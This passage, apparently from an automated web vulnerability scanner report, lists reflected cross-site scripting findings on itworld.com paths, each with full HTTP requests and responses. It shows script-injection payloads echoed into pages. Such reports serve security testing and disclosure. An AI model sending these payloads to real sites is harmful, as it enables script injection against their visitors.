Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:52 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460592"
Content-Type: text/html; charset=utf-8
Content-Length: 57644
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:53 GMT
X-Varnish: 1038168856
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
6="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run460eb"-alert(1)-"67f87e41f93";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.100. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89fa4"><script>alert(1)</script>83613f9433e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run89fa4"><script>alert(1)</script>83613f9433e HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:47 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460587"
Content-Type: text/html; charset=utf-8
Content-Length: 57864
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:48 GMT
X-Varnish: 1038168757
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run89fa4"><script>alert(1)</script>83613f9433e"/>
...[SNIP]...

1.101. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d18d2"><script>alert(1)</script>794165fd13 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run?d18d2"><script>alert(1)</script>794165fd13=1 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:03 +0000
Vary: Cookie
ETag: "1316460483"
Content-Type: text/html; charset=utf-8
Content-Length: 121715
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:28:06 GMT
X-Varnish: 1038165150
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run?d18d2"><script>alert(1)</script>794165fd13=1"/>
...[SNIP]...

1.102. http://www.itworld.com/kickapps/isfollowing-comments/204223 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/kickapps/isfollowing-comments/204223

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 58b58"-alert(1)-"a48bb4a4ab8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /kickapps58b58"-alert(1)-"a48bb4a4ab8/isfollowing-comments/204223 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-2; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dblog%253A204223%253ACyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%253A2011-09-16%7C1316480024395%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460510"
Content-Type: text/html; charset=utf-8
Content-Length: 57293
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:31 GMT
X-Varnish: 1038165985
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
rop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/kickapps58b58"-alert(1)-"a48bb4a4ab8/isfollowing-comments/204223";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you r
...[SNIP]...

1.103. http://www.itworld.com/kickapps/isfollowing-comments/204223 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/kickapps/isfollowing-comments/204223

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57697"><script>alert(1)</script>bd8827fba4e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /kickapps57697"><script>alert(1)</script>bd8827fba4e/isfollowing-comments/204223 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-2; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dblog%253A204223%253ACyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%253A2011-09-16%7C1316480024395%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:19 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460499"
Content-Type: text/html; charset=utf-8
Content-Length: 57514
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:21 GMT
X-Varnish: 1038165682
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/kickapps57697"><script>alert(1)</script>bd8827fba4e/isfollowing-comments/204223"/>
...[SNIP]...

1.104. http://www.itworld.com/kickapps/isfollowing-comments/204223 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/kickapps/isfollowing-comments/204223

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0b86"-alert(1)-"318990c4788 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /kickapps/isfollowing-commentsd0b86"-alert(1)-"318990c4788/204223 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-2; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dblog%253A204223%253ACyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%253A2011-09-16%7C1316480024395%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460534"
Content-Type: text/html; charset=utf-8
Content-Length: 57294
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:54 GMT
X-Varnish: 1038166828
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/kickapps/isfollowing-commentsd0b86"-alert(1)-"318990c4788/204223";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13=
...[SNIP]...

1.105. http://www.itworld.com/kickapps/isfollowing-comments/204223 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/kickapps/isfollowing-comments/204223

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cace"><script>alert(1)</script>a5d54e87003 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /kickapps/isfollowing-comments1cace"><script>alert(1)</script>a5d54e87003/204223 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-2; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dblog%253A204223%253ACyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%253A2011-09-16%7C1316480024395%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460529"
Content-Type: text/html; charset=utf-8
Content-Length: 57514
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:50 GMT
X-Varnish: 1038166698
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/kickapps/isfollowing-comments1cace"><script>alert(1)</script>a5d54e87003/204223"/>
...[SNIP]...

1.106. http://www.itworld.com/misc/collapse.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/collapse.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c2ca"><script>alert(1)</script>ad0f3711ac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /misc8c2ca"><script>alert(1)</script>ad0f3711ac/collapse.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459970"
Content-Type: text/html; charset=utf-8
Content-Length: 57319
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:34 GMT
X-Varnish: 1959721384
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/misc8c2ca"><script>alert(1)</script>ad0f3711ac/collapse.js?h"/>
...[SNIP]...

1.107. http://www.itworld.com/misc/collapse.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/collapse.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 311ce"-alert(1)-"8c81159bfd0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /misc311ce"-alert(1)-"8c81159bfd0/collapse.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:54 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459994"
Content-Type: text/html; charset=utf-8
Content-Length: 57109
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:58 GMT
X-Varnish: 1959722250
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...

s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/misc311ce"-alert(1)-"8c81159bfd0/collapse.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eV
...[SNIP]...

1.108. http://www.itworld.com/misc/collapse.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/collapse.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 742bc"><script>alert(1)</script>22dbf7e6ab7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /misc/collapse.js742bc"><script>alert(1)</script>22dbf7e6ab7?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460016"
Content-Type: text/html; charset=utf-8
Content-Length: 57330
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:35 GMT
X-Varnish: 1959722827
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/misc/collapse.js742bc"><script>alert(1)</script>22dbf7e6ab7?h"/>
...[SNIP]...

1.109. http://www.itworld.com/misc/collapse.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/misc/collapse.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98271"-alert(1)-"f1cfa216a3f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /misc/collapse.js98271"-alert(1)-"f1cfa216a3f?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460049"
Content-Type: text/html; charset=utf-8
Content-Length: 57110
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:12 GMT
X-Varnish: 1959723951
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
